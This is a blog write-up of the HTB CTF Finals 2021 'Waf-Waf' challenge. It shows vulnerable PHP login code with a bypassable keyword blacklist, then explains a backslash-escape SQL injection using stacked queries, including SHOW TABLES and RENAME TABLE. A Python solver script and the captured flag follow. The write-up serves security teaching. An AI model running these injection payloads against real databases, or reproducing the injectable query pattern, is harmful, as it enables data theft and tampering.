Skip to main content

Yadhu's Blog

HTBCTF Finals 2021: Waf-Waf Write-up

Table of Contents

tl;dr

  • Rename table and exploit SQL Injection to get the flag.

# Challenge Description

Who let the blacklists out?

# Source Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
require('database.php');

$user = $_GET['user'];
$pass = $_GET['pass'];

if (!isset($user) || !isset($pass) || preg_match_all('/(select|union|where|\(|\.|\')/i', $user.$pass))
{
    highlight_file(__FILE__);
    exit;
}

$mysql = get_db();
$mysql->multi_query("SELECT * FROM `users` WHERE `username` = '${user}' AND `password` = '${pass}'");

do
{
    if ($result = $mysql->store_result())
    {
        if ($row = $result->fetch_assoc())
        {
            echo json_encode($row) . '<br/>';
        }
        $result->free();
    }
}
while ($mysql->next_result());

$mysql->close();

# Analysis

  • Parameters user and pass are directly fed into the query and might cause SQL Injection.
  • The filters applied for the parameters are not strong enough.
  • Multiple queries can be executed at a time since multi_query function is used.
  • Inserting single quotes are not allowed.

# Solution

  1. Inserting \ as value for user parameter causes a part of the query to be treated as a string, and the pass parameter can be used for SQL Injection. The query becomes

    1
    
    SELECT * FROM `users` WHERE `username` = 'secure\' AND `password` = '; <SQL Injection here> -- -'
    
  2. Notice that the users table is empty. So the flag must be in some other table. ?user=secure\&pass=or 1;

  3. Tables could be listed out with ?user=\&pass=; show tables;-- -.

    1
    
        {"Tables_in_security":"definitely_not_a_flag"}
    

    A table definitely_not_a_flag exists in the database.

  4. Enumerating the columns of definitely_not_a_flag table.

    1
    
        {"Field":"flag","Type":"varchar(80)","Null":"NO","Key":"","Default":null,"Extra":""}
    

    There is also a username column in this table which can be seen after droping the column.

  5. Exploit: We rename users table to backup_table and definitely_not_a_flag to users. So, when the select query is executed next time, we can get data from definitely_not_a_flag table.

     `?user=\&pass=; RENAME TABLE users TO backup_table, definitely_not_a_flag TO users;-- -`
    
    1
    
        {"flag":"HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}","username":""}
    

# Solver Script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests
import json

host = input("Enter hostname: ")
port = input("Enter port: ")

def exploit(payload):
    url = "http://{}:{}".format(host, port)
    params = {"user": "secure\\", "pass":"or 1; {} -- -".format(payload)}
    r = requests.get(url, params=params)
    return r.text

exploit("RENAME TABLE users TO backup_table, definitely_not_a_flag TO users;")

res = exploit("")
print(res)

# Flag

HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}